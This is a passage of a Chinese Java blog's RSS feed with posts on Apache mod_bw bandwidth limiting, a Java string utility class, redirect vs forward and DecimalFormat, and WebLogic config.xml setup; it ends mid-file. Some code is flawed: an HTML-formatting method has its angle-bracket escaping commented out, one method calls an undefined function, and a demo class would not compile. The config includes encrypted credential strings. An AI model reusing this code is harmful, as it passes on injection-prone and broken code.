            <p>目前各种多线程下载工具泛滥，这对提供部分下载功能的网站来说是个比较头疼的问题，由于多线程下载会给服务器带来巨大的负载压力，而且可能会对整个站点产生影响，使其不能正常访问。那么有没有什么方法可以解决这些问题呢？答案是肯定的。目前国内大部分站点都是基于LAMP（Linux+Apache+Mysql+php）架构的，Apache是一个开源的，功能强大，稳定，使用量最大的WEB服务器。Apache是模块化开发的，可以根据需要增加各种功能模块，这里我给大家bw_mod。</p>
            <p>Bw_mod，它可以根据来源IP进行带宽限制。</p>
            <p>下面说一下它的安装配置，它的下载地址是： <br />
            bw_mod：<a href="http://apache.ivn.cl/">http://apache.ivn.cl/</a></p>
            <p>&nbsp;</p>
            <p><br />
            下载：wget <a href="http://apache.ivn.cl/files/source/mod_bw-0.7.tgz">http://apache.ivn.cl/files/source/mod_bw-0.7.tgz</a><br />
            解压：tar zxvf <u><font color="#800080">bw-0.7.tgz<br />
            </font></u>安装：通过whereis apxs命令找到apxs命令的位置，如apxs的位置是：/usr/local/apache/bin/apxs，那么我们就可以通过： <br />
            /opt/apache/bin/apxs &#8211;c &#8211;i &#8211;a命令进行安装。</p>
            <p>#/opt/apache/bin/apxs -i -a -c bw_mod-0.6.c<br />
            <br />
            修改Apache的配置文件httpd.conf。 <br />
            １．确认LoadModule bw_module&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; modules/mod_bw.so选项已经存在。 <br />
            ２．配置示例： <br />
            BandWidthModule On #启用bw_mod <br />
            BandWidth all 102400 #最高为为100kB <br />
            MinBandWidth all 51200 #最低为50KB <br />
            MaxConnection all 3 #所有客户端最多3个连接 <br />
            LargeFileLimit .rar 30 23000 ＃限制所有大于30K的后缀名为.rar的文件的 <br />
            速率为23000字节/秒，即23K/秒 <br />
            ３．重启Apache <br />
            以上只说了一下这个模块的安装和简单的配置，更具体的配置请看这个模块的说明文件。</p>
            <p>windows 应用</p>
            <div class="postcontent">
            <p>先去该网站下载所需的modules档案 (有*nix和Windows版本)<br />
            Ivan Barrera A. (Bruce)网站 (<a href="http://www.ivn.cl/apache/#bandwidth">http://www.ivn.cl/apache/#bandwidth</a>)<br />
            官方文档 (<a href="http://www.ivn.cl/apache/bw_mod-0.6.txt">http://www.ivn.cl/apache/bw_mod-0.6.txt</a>)<br />
            接着打开 httpd.conf 此档<br />
            在任何一处空白列中,加入以下那行</p>
            <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">LoadModule bw_module modules/bw_mod-</span><span style="color: #000000">2.0.54</span><span style="color: #000000">.dll</span></div>
            <p>(如果你有改档名,上面的 bw_mod-2.0.54.dll 也须更改成相同档名)<br />
            再加入以下这行,启动modules (不加此行,预设值是不启动 disabled)<br />
            BandWidthModule On</p>
            <p>例一：</p>
            <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">BandWidth localhost </span><span style="color: #000000">10240</span><span style="color: #000000"><br />
            <img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />BandWidth 192.168.218.5 0</span></div>
            <p>第一行是说,限制 localhost 位置,无论下载多少个档案,下载速度总合最高只有10KB<br />
            第二行是说, 192.168.1.2 这个IP位址,无论下载多少个档案,下载速度总合最高无限制<br />
            (1KB=1024 , 0 即是无限制)</p>
            <p>例二：</p>
            <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">BandWidth all </span><span style="color: #000000">10240</span><span style="color: #000000"><br />
            <img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />MinBandWidth all </span><span style="color: #000000">5120</span></div>
            <p>这个例子是说<br />
            限制所有IP位置,只有一个下载时,最高只有10KB的速度<br />
            如果有多个下载时,最小下载单档的速度是5KB <br />
            则：<br />
            下载1个档案 速度为10K 总合下载速度为10K<br />
            下载5个档案 速度各为5K 总合下载速度为25K</p>
            <p>例三：</p>
            <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">LargeFileLimit .avi </span><span style="color: #000000">500</span><span style="color: #000000"> </span><span style="color: #000000">10240</span></div>
            <p>副档名为avi的档案 且 档案大小 大於或等於500KB<br />
            下载的速度限制最高为10KB<br />
            (这里是多人平分那10KB的速度喔! 1人下载有10KB,10人下载只有1KB)</p>
            </div>
            </div>
            </td>
        </tr>
    </tbody>
</table>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/215227.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2008-07-16 15:40 <a href="http://www.blogjava.net/zhanglijun33/archive/2008/07/16/apacheSearch.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JAVA STRING UTIL</title><link>http://www.blogjava.net/zhanglijun33/archive/2007/09/20/stringUtil.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Thu, 20 Sep 2007 08:29:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2007/09/20/stringUtil.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/146808.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2007/09/20/stringUtil.html#Feedback</comments><slash:comments>12</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/146808.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/146808.html</trackback:ping><description><![CDATA[<p>&nbsp;/**<br />
&nbsp;&nbsp;&nbsp;&nbsp; * 字符串替换，将 source 中的 oldString 全部换成 newString<br />
&nbsp;&nbsp;&nbsp;&nbsp; *<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @param source 源字符串<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @param oldString 老的字符串<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @param newString 新的字符串<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @return 替换后的字符串<br />
&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; public static String replaceStr(String source, String oldString, String newString) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StringBuffer output = new StringBuffer();</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int lengthOfSource = source.length();&nbsp;&nbsp; // 源字符串长度<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int lengthOfOld = oldString.length();&nbsp;&nbsp; // 老字符串长度</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int posStart = 0;&nbsp;&nbsp; // 开始搜索位置<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int pos;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 搜索到老字符串的位置</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while ((pos = source.indexOf(oldString, posStart)) &gt;= 0) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; output.append(source.substring(posStart, pos));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; output.append(newString);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; posStart = pos + lengthOfOld;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (posStart &lt; lengthOfSource) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; output.append(source.substring(posStart));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return output.toString();<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;public static void main(String[] args) {<br />
&nbsp;&nbsp;System.out.println(replaceIgnoreCase("War is wAr and waR and war","war","[start]","[end]"));<br />
&nbsp;&nbsp;System.out.println(replaceIgnoreCase("","war","[start]","[end]"));<br />
&nbsp;&nbsp;System.out.println(replaceIgnoreCase("Warsdf","war","[start]","[end]"));<br />
&nbsp;&nbsp;System.out.println(replaceIgnoreCase("sdfWar","war","[start]","[end]"));<br />
&nbsp;}</p>
<p>&nbsp;/**<br />
&nbsp; * 2007-7-30 added by lxs<br />
&nbsp; * 将原有的字符串按照需要的长度显示,超出的长度用..代替。<br />
&nbsp; * 给定的长度应包含2位..的长度数。<br />
&nbsp; */<br />
&nbsp;/*<br />
&nbsp; *0x3400-&gt;13312-&gt;'?' 0x9FFF-&gt;40959-&gt;? 0xF900-&gt;63744-&gt;?<br />
&nbsp; *<br />
&nbsp; **/<br />
&nbsp;public static String getPointStr(String str,int length){<br />
&nbsp;&nbsp;if(str==null || "".equals(str)){<br />
&nbsp;&nbsp;&nbsp;return "";<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;if(getStrLength(str)&gt;length){<br />
&nbsp;&nbsp;&nbsp;str=getLeftStr(str,length-2);<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;return str;<br />
&nbsp;}</p>
<p>&nbsp;public static String getLeftStr(String str,int length){<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;if(str == null || "".equals(str)){<br />
&nbsp;&nbsp;&nbsp;return "";<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;int index = 0;<br />
&nbsp;<br />
&nbsp;&nbsp;char[] charArray = str.toCharArray();<br />
&nbsp;&nbsp;for(;index&lt;length; index++){<br />
&nbsp;&nbsp;&nbsp;if(((charArray[index]&gt;=0x3400)&amp;&amp;(charArray[index]&lt;0x9FFF))||(charArray[index]&gt;=0xF900)){<br />
&nbsp;&nbsp;&nbsp;&nbsp;length --;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;String returnStr = str.substring(0, index);<br />
&nbsp;&nbsp;returnStr += "..";<br />
&nbsp;&nbsp;return returnStr;<br />
&nbsp;}<br />
&nbsp;<br />
&nbsp;public static int getStrLength(String str){<br />
&nbsp;&nbsp;if(str==null || "".equals(str)){<br />
&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;char[] charArray = str.toCharArray();<br />
&nbsp;&nbsp;int length = 0;<br />
&nbsp;&nbsp;for(int i = 0; i &lt; charArray.length; i++){<br />
&nbsp;&nbsp;&nbsp;if(((charArray[i]&gt;=0x3400)&amp;&amp;(charArray[i]&lt;0x9FFF))||(charArray[i]&gt;=0xF900)){<br />
&nbsp;&nbsp;&nbsp;&nbsp;length += 2;<br />
&nbsp;&nbsp;&nbsp;}else{<br />
&nbsp;&nbsp;&nbsp;&nbsp;length ++;<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;return length;<br />
&nbsp;}<br />
&nbsp;<br />
&nbsp;&nbsp;&nbsp; /**<br />
&nbsp;&nbsp;&nbsp;&nbsp; * 将字符串格式化成 HTML 代码输出<br />
&nbsp;&nbsp;&nbsp;&nbsp; * 只转换特殊字符，适合于 HTML 中的表单区域<br />
&nbsp;&nbsp;&nbsp;&nbsp; *<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @param str 要格式化的字符串<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @return 格式化后的字符串<br />
&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; public static String toHtmlInput(String str) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (str == null)&nbsp;&nbsp;&nbsp; return null;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String html = new String(str);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //html = replaceStr(html, "&lt;", "&amp;lt;");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //html = replaceStr(html, "&gt;", "&amp;gt;");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "\r\n", "&lt;br&gt;");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //html = replaceStr(html, "\n", "&lt;br&gt;");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //html = replaceStr(html, "&amp;", "&amp;amp;");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "\t", "&nbsp;&nbsp;&nbsp; ");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, " ", "&amp;nbsp;"); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return html;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public static String toHtmlInputExceptSpace(String str) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (str == null)&nbsp;&nbsp;&nbsp; return null;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String html = new String(str);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&lt;", "&amp;lt;");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&gt;", "&amp;gt;");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "\r\n", "\n");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "\n", "&lt;br&gt;\n");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&amp;", "&amp;amp;");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "\t", "&nbsp;&nbsp;&nbsp; ");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return html;<br />
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; public static String toHtmlOutput(String str) {<br />
&nbsp;&nbsp;&nbsp;&nbsp; if (str == null)&nbsp;&nbsp;&nbsp; return null;<br />
&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; String html = new String(str);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&lt;br&gt;\n", "\n");<br />
&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&amp;amp;", "&amp;");<br />
&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&amp;lt;", "&lt;");<br />
&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&amp;gt;", "&gt;");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "\n", "\r\n");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&nbsp;&nbsp;&nbsp; ", "\t");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "　", " ");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; return html;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; public static String toHtmlOutput1(String str) {<br />
&nbsp;&nbsp;&nbsp;&nbsp; if (str == null)&nbsp;&nbsp;&nbsp; return null;<br />
&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; String html = new String(str);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&lt;br&gt;\n", "\n");<br />
&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&amp;amp;", "&amp;");<br />
&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&amp;lt;", "&lt;");<br />
&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&amp;gt;", "&gt;");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //html = replaceStr(html, "\n", "\r\n");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "&nbsp;&nbsp;&nbsp; ", "\t");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; html = replaceStr(html, "　", " ");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; return html;<br />
&nbsp;&nbsp;&nbsp; } </p>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/146808.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2007-09-20 16:29 <a href="http://www.blogjava.net/zhanglijun33/archive/2007/09/20/stringUtil.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java:redirect 和forward的区别,DecimalFormat及DecimalFormat的使用</title><link>http://www.blogjava.net/zhanglijun33/archive/2007/08/03/java2.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Fri, 03 Aug 2007 02:01:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2007/08/03/java2.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/134166.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2007/08/03/java2.html#Feedback</comments><slash:comments>8</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/134166.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/134166.html</trackback:ping><description><![CDATA[使用response.sendRedirect()地址栏将改变<br>使用request.getRequestDispatcher().forward(request,response)地址栏中的信息保持不变只用通过方法2跳转 才能在新页取出来
<br><br>redirect 会首先发一个response给浏览器, 然后浏览器收到这个response后再发一个requeset给服务器, 然后服务器发新的response给浏览器. 这时页面收到的request是一个新从浏览器发来的.<br><br>forward 发生在服务器内部, 在浏览器完全不知情的情况下发给了浏览器另外一个页面的response. 这时页面收到的request不是从浏览器直接发来了,可能己经放了数据.<br><br>所以:<br>request.setAttribute存的东西<br><br>只用通过方法2跳转 才能在新页取出来<br>
用 DecimalFormat 格式化数字
引言
Java中对浮点数的输出表示
在Java中浮点数包括基本型float、double，以及对象包装类型的Float和Double，对于这些浮点数的输出，不管是显式地还是隐式地调用toString()得到它的表示字串，输出格式都是按照如下规则进行的
如果绝对值大于0.001、小于10000000，那么就以常规的小数形式表示。    
如果在上述范围之外，则使用科学计数法表示。即类似于1.234E8的形式。
可以使用 java.text.DecimalFormat及其父类NumberFormat格式化数字
本例只浅述DecimalFormat的使用。
Pattern
0 - 如果对应位置上没有数字，则用零代替
# - 如果对应位置上没有数字，则保持原样（不用补）；如果最前、后为0，则保持为空。
正负数模板用分号（;）分割
Number Format Pattern Syntax 
You can design your own format patterns for numbers by following the rules specified by the following BNF diagram: 
pattern    := subpattern{;subpattern}
subpattern := {prefix}integer{.fraction}{suffix}
prefix     := '\\u0000'..'\\uFFFD' - specialCharacters
suffix     := '\\u0000'..'\\uFFFD' - specialCharacters
integer    := '#'* '0'* '0'
fraction   := '0'* '#'*
DEMO
value
123456.789
pattern
,###.###
output
123,456.789
Explanation
The pound sign (#) denotes a digit, 
the comma（逗号） is a placeholder for the grouping separator, 
and the period（句号） is a placeholder for the decimal separator.
井号(#)表示一位数字，逗号是用于分组分隔符的占位符，点是小数点的占位符。 
如果小数点的右面，值有三位，但是式样只有两位。format方法通过四舍五入处理。
value
123.78
pattern
000000.000
output
000123.780
Explanation
The pattern specifies leading and trailing zeros, 
because the 0 character is used instead of the pound sign (#). 
应用实例 1：
/* * Copyright (c) 1995-1998 Sun Microsystems, Inc. All Rights Reserved. */
import java.util.*; 
import java.text.*; 
public class DecimalFormatDemo { 
 static public void customFormat(String pattern, double value ) { 
  DecimalFormat myFormatter = new DecimalFormat(pattern); 
  String output = myFormatter.format(value); 
  System.out.println(value + " " + pattern + " " + output); 
 } 
 static public void localizedFormat(String pattern, double value, Locale loc ) { 
  NumberFormat nf = NumberFormat.getNumberInstance(loc); 
  DecimalFormat df = (DecimalFormat)nf; 
  df.applyPattern(pattern); 
  String output = df.format(value); 
  System.out.println(pattern + " " + output + " " + loc.toString()); 
 } 
 static public void main(String[] args) { 
  customFormat("###,###.###", 123456.789); 
  customFormat("###.##", 123456.789); 
  customFormat("000000.000", 123.78); 
  customFormat("$###,###.###", 12345.67); 
  customFormat("\u00a5###,###.###", 12345.67); 
  Locale currentLocale = new Locale("en", "US"); 
  DecimalFormatSymbols unusualSymbols = new DecimalFormatSymbols(currentLocale); 
  unusualSymbols.setDecimalSeparator('|'); 
  unusualSymbols.setGroupingSeparator('^'); 
  String strange = "#,##0.###"; 
  DecimalFormat weirdFormatter = new DecimalFormat(strange, unusualSymbols); 
  weirdFormatter.setGroupingSize(4); 
  String bizarre = weirdFormatter.format(12345.678); 
  System.out.println(bizarre); 
  Locale[] locales = { new Locale("en", "US"), 
         new Locale("de", "DE"), 
         new Locale("fr", "FR") }; 
  for (int i = 0; i <locales.length; i++) { 
   localizedFormat("###,###.###", 123456.789, locales[i]); 
  } 
 } 
} 
应用实例 2：
参见：Mark Leung的学习总结
     http://blog.csdn.net/marcoleung/archive/2004/11/11/176514.aspx
public class test
{
    public test()
    {
    //---------------------------------------------
    //定义一个数字格式化对象，格式化模板为".##"，即保留2位小数.
    DecimalFormat a = new DecimalFormat("##.##");
    String s= a.format(03.03035);
    System.err.println(s);
    String s= a.format(03.30);
    System.err.println(s);
    String s= a.format(03.335);
    System.err.println(s);
    String s= a.format(03.3);
    System.err.println(s);
    //说明：如果小数点后面不够2位小数，不会补零.参见Rounding小节
    //---------------------------------------------
    //-----------------------------------------------
    //可以在运行时刻用函数applyPattern(String)修改格式模板
    //保留2位小数，如果小数点后面不够2位小数会补零
    a.applyPattern("00.00");
    s = a.format(333.3);
    System.err.println(s);
    //------------------------------------------------
    //------------------------------------------------
    //添加千分号
    a.applyPattern(".##\u2030");
    s = a.format(0.78934);
    System.err.println(s);//添加千位符后,小数会进三位并加上千位符
    //------------------------------------------------
    //------------------------------------------------
    //添加百分号
    a.applyPattern("#.##%");
    s = a.format(0.78645);
    System.err.println(s);
    //------------------------------------------------
   //------------------------------------------------
    //添加前、后修饰字符串，记得要用单引号括起来
    a.applyPattern("'这是我的钱$',###.###'美圆'");
    s = a.format(2533333443.3333);
    System.err.println(s);
    //------------------------------------------------
     //------------------------------------------------
    //添加货币表示符号(不同的国家，添加的符号不一样
    a.applyPattern("\u00A4");
    s = a.format(34);
    System.err.println(s);
    //------------------------------------------------
    //-----------------------------------------------
    //定义正负数模板,记得要用分号隔开
     a.applyPattern("0.0;'@'-#.0");
     s = a.format(33);
     System.err.println(s);
     s = a.format(-33);
     System.err.println(s);
     //-----------------------------------------------
    //综合运用，正负数的不同前后缀
    String pattern="'my moneny'###,###.##'RMB';'ur money'###,###.##'US'";
    a.applyPattern(pattern);
    System.out.println(a.format(-1223233.456));
  }

    public static void main(String[] args)
    {
        test test1 = new test();
    }
}<img src ="http://www.blogjava.net/zhanglijun33/aggbug/134166.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2007-08-03 10:01 <a href="http://www.blogjava.net/zhanglijun33/archive/2007/08/03/java2.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>weblogic 使用笔记</title><link>http://www.blogjava.net/zhanglijun33/archive/2007/03/06/weblogic1.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Tue, 06 Mar 2007 10:32:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2007/03/06/weblogic1.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/102228.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2007/03/06/weblogic1.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/102228.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/102228.html</trackback:ping><description><![CDATA[
		<p>1.weblogic的下载，安装就免了吧。它和其他软件没什么不同<br />2.weblogic的配置。<br />   首先这里有几个名词，<span lang="EN-US" style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-fareast-font-family: 宋体; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">Cluster,</span>domain,server,如果第一次接触它，可能会有些不知所措。也许我们在网上能搜到它们的名词解释，但还是太抽像了,难以琢摸。<br />  好在weblogic有一个缺省的配置模板，Basic weblogic server domain.它能带领我们这些陌生人走出迷宫。<br />在此点next之后先择Express（默认选项）即可。之后是输入管理员名称及密码等等。在一路next之后，weblogic为我们创建了一个cluster(domains),下面有一个domain(mydomain),mydomain下面有application及myserver文件夹。application就是发布工程的文件夹，和tomcat的webapp包一样。至此我们应该对那几个麻烦的名词能逆向悟出一点了。<br /> 3.进一步配置weblogic的其他配置可以进入：http://localhost:7001/console进行。<br />也可以在\bea\user_projects\domains\mydomain下的config.xml里面配置如下：<br />&lt;?xml version="1.0" encoding="UTF-8"?&gt;<br />&lt;Domain ConfigurationVersion="8.1.2.0" Name="mydomain"&gt;<br />    &lt;Server ListenAddress="" ListenPort="7001" Name="myserver"<br />        NativeIOEnabled="true" ReliableDeliveryPolicy="RMDefaultPolicy" ServerVersion="8.1.2.0"&gt;<br />        &lt;SSL Enabled="false" HostnameVerificationIgnored="false"<br />            IdentityAndTrustLocations="KeyStores" Name="myserver"/&gt;<br />    &lt;/Server&gt;<br />    &lt;JMSFileStore Directory="rmfilestore" Name="FileStore"/&gt;<br />    &lt;WSReliableDeliveryPolicy DefaultRetryCount="10"<br />        DefaultTimeToLive="60000" Name="RMDefaultPolicy" Store="FileStore"/&gt;<br />    &lt;Security Name="mydomain"<br />        PasswordPolicy="wl_default_password_policy"<br />        Realm="wl_default_realm" RealmSetup="true"/&gt;<br />    &lt;EmbeddedLDAP<br />        Credential="{3DES}2zhEU1x+6NtlLCiEEASIq7Qj1x8k7JuC+3pK9+ca9us=" Name="mydomain"/&gt;<br />    &lt;SecurityConfiguration<br />        Credential="{3DES}4UitCfj3yY1Qydt7r2TmFZ5k7e+2OwU1CcIm+8hJck+ffQmdjoBIHB7nOlWWYkgFobxW85RnRM1ExL09MjQAsXRxURh0QkpJ"<br />        Name="mydomain" RealmBootStrapVersion="1"/&gt;<br />    &lt;Realm FileRealm="wl_default_file_realm" Name="wl_default_realm"/&gt;<br />    &lt;FileRealm Name="wl_default_file_realm"/&gt;<br />    &lt;PasswordPolicy Name="wl_default_password_policy"/&gt;<br />    &lt;JMSServer Name="WSStoreForwardInternalJMSServermyserver"<br />        Store="FileStore" Targets="myserver"&gt;<br />        &lt;JMSQueue CreationTime="1173168293562"<br />            JNDIName="jms.internal.queue.WSStoreForwardQueue"<br />            JNDINameReplicated="false" Name="WSInternaljms.internal.queue.WSStoreForwardQueuemyserver"/&gt;<br />        &lt;JMSQueue CreationTime="1173168293890"<br />            JNDIName="jms.internal.queue.WSDupsEliminationHistoryQueue"<br />            JNDINameReplicated="false" Name="WSInternaljms.internal.queue.WSDupsEliminationHistoryQueuemyserver"/&gt;<br />    